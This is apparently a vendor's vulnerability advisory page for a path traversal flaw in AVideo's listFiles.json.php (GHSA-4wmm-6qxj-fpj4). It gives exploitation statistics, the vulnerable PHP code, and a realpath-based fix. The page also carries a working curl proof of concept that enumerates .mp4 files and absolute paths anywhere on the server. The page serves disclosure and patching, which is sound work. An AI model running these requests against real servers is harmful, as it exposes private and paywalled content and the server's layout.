NIST deprecates RSA-2048 from 2030. Find every one of them before attackers do.
🐘
🐘 Packagist
Not in CISA KEV
MEDIUM severity

AVideo has a Path Traversal in listFiles.json.php Enables Server Filesystem EnumerationGHSA-4wmm-6qxj-fpj4

MEDIUMFix: WWBN/AVideo@870cf24

GHSA-4wmm-6qxj-fpj4 is a medium-severity (CVSS 4.3) Path Traversal vulnerability in wwbn/avideo. A fix is available for wwbn/avideo — see the affected versions and patch details below.

Also known asCVE-2026-33238
Published
Updated
Affected
1 pkg
Patched
1 / 1
Exploits
None indexed
Exploitation data as of Nov 10, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

Proof-of-concept exploit code exists

  • CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.

Exploitation and automatability from CISA’s SSVC triage for GHSA-4wmm-6qxj-fpj4.

EPSS Exploitation Probability

via FIRST.org ↗
0.4%probability of exploitation in next 30 days
Lower Risk+0.01%
Lower risk than most CVEs39th percentile — riskier than 39% of all scored CVEsHighest risk
0.00%0.31%0.63%0.94%0.0%0.4%May 26Sep 26Nov 26

Probability of exploitation in the next 30 days, from FIRST.org EPSS.

How urgent is this, really

Where this sits among everything scored

Real-World Exposure

1 pkg affected
🐘wwbn/avideo

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects Packagist packages — download data is not available via public APIs for these ecosystems.

Description

Summary

The listFiles.json.php endpoint accepts a path POST parameter and passes it directly to glob() without restricting the path to an allowed base directory. An authenticated uploader can traverse the entire server filesystem by supplying arbitrary absolute paths, enumerating .mp4 filenames and their full absolute filesystem paths wherever they exist on the server — including locations outside the web root, such as private or premium media directories.

Details

The vulnerable code is at objects/listFiles.json.php:8-45:

if (!User::canUpload() || !empty($advancedCustom->doNotShowImportMP4Button)) {
    return false;
}
$global['allowed'] = ['mp4'];
// ...
if (!empty($_POST['path'])) {
    $path = $_POST['path'];
    if (substr($path, -1) !== '/') {
        $path .= "/";
    }
    if (file_exists($path)) {
        $extn = implode(",*.", $global['allowed']);
        $filesStr = "{*." . $extn . ",*." . strtolower($extn) . ",*." . strtoupper($extn) . "}";
        $video_array = glob($path . $filesStr, GLOB_BRACE);
        foreach ($video_array as $key => $value) {
            $filePath = mb_convert_encoding($value, 'UTF-8');
            // ...
            $obj->path = $filePath;  // Full absolute path returned to caller

The $_POST['path'] value is used directly in glob() with no call to realpath() for normalization and no prefix check against a permitted base directory (e.g., $global['systemRootPath'] . 'videos/'). The response includes obj->path containing the full absolute filesystem path of each matched file.

The extension filter ({*.mp4,*.mp4,*.MP4}) limits results to .mp4 files, which prevents reading credentials or source code but does not prevent enumeration of video files stored in access-controlled locations such as:

  • Premium/paid content directories
  • Private or unlisted media stores
  • Backup directories containing .mp4 files
  • Paths revealing sensitive server directory structure

canUpload is a standard low-privilege role granted to any registered uploader; it does not imply administrative trust.

PoC

# Step 1: Authenticate as any user with canUpload permission
# (standard uploader account)

# Step 2: Enumerate MP4 files in the web root (expected behavior)
curl -b "PHPSESSID=<session>" -X POST https://target.avideo.site/listFiles \
  -d "path=/var/www/html/videos/"
# Returns: [{"id":0,"path":"/var/www/html/videos/video1.mp4","name":"video1.mp4"}, ...]

# Step 3: Traverse outside intended directory to private content store
curl -b "PHPSESSID=<session>" -X POST https://target.avideo.site/listFiles \
  -d "path=/var/private/premium-content/"
# Returns: [{"id":0,"path":"/var/private/premium-content/paywalled-video.mp4","name":"paywalled-video.mp4"}, ...]

# Step 4: Enumerate root filesystem for any MP4 files
curl -b "PHPSESSID=<session>" -X POST https://target.avideo.site/listFiles \
  -d "path=/"
# Returns all .mp4 files visible to the web server process anywhere on disk

Expected behavior: Only files within the designated upload directory should be listable. Actual behavior: Files from any path readable by the web server process are returned with full absolute paths.

Impact

  • Unauthorized media enumeration: An uploader can discover private, premium, or access-controlled .mp4 files stored outside their permitted directory.
  • Filesystem structure disclosure: Full absolute paths reveal server directory layout, aiding further attacks.
  • Content bypass: In AVideo deployments where premium video files are stored in filesystem directories not protected by application access control, this exposes the filenames and paths needed to directly access them if other path traversal or direct-file-access weaknesses are present.
  • Blast radius: Requires canUpload permission (low privilege), but this is the standard permission for all video uploaders on a multi-user AVideo instance.

Recommended Fix

Restrict the supplied path to an allowed base directory using realpath():

if (!empty($_POST['path'])) {
    $allowedBase = realpath($global['systemRootPath'] . 'videos') . '/';
    $path = realpath($_POST['path']);

    // Reject paths that don't start with the allowed base
    if ($path === false || strpos($path . '/', $allowedBase) !== 0) {
        http_response_code(403);
        echo json_encode(['error' => 'Path not allowed']);
        exit;
    }
    $path .= '/';
    // ... continue with glob
}

realpath() resolves ../ sequences before the prefix check, preventing traversal bypasses.

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
🐘Packagistwwbn/avideoall versions26.0composer require wwbn/avideo:^26.0

Affected Products

1 product · 1 configurations
Application
avideowwbn
< 26.0
range

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for wwbn/avideo, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

  2. Fix

    Update wwbn/avideo to 26.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-4wmm-6qxj-fpj4 is resolved across your whole dependency graph.

  3. Workarounds

    Resolve every user-supplied path to its canonical form and reject anything that escapes the intended directory, and run the component under an account that has no read or write access outside the directory it legitimately serves.

Frequently Asked Questions

## Summary The `listFiles.json.php` endpoint accepts a `path` POST parameter and passes it directly to `glob()` without restricting the path to an allowed base directory. An authenticated uploader can traverse the entire server filesystem by supplying arbitrary absolute paths, enumerating `.mp4` filenames and their full absolute filesystem paths wherever they exist on the server — including locations outside the web root, such as private or premium media directories. ## Details The vulnerable code is at `objects/listFiles.json.php:8-45`: ```php if (!User::canUpload() || !empty($advancedCus
O3 Security · Impact-Aware SCA

Is GHSA-4wmm-6qxj-fpj4 in your dependencies?

Find it across Packagist, including transitive dependencies.

AVideo has a Path Traversal in listFiles.json.php Enables…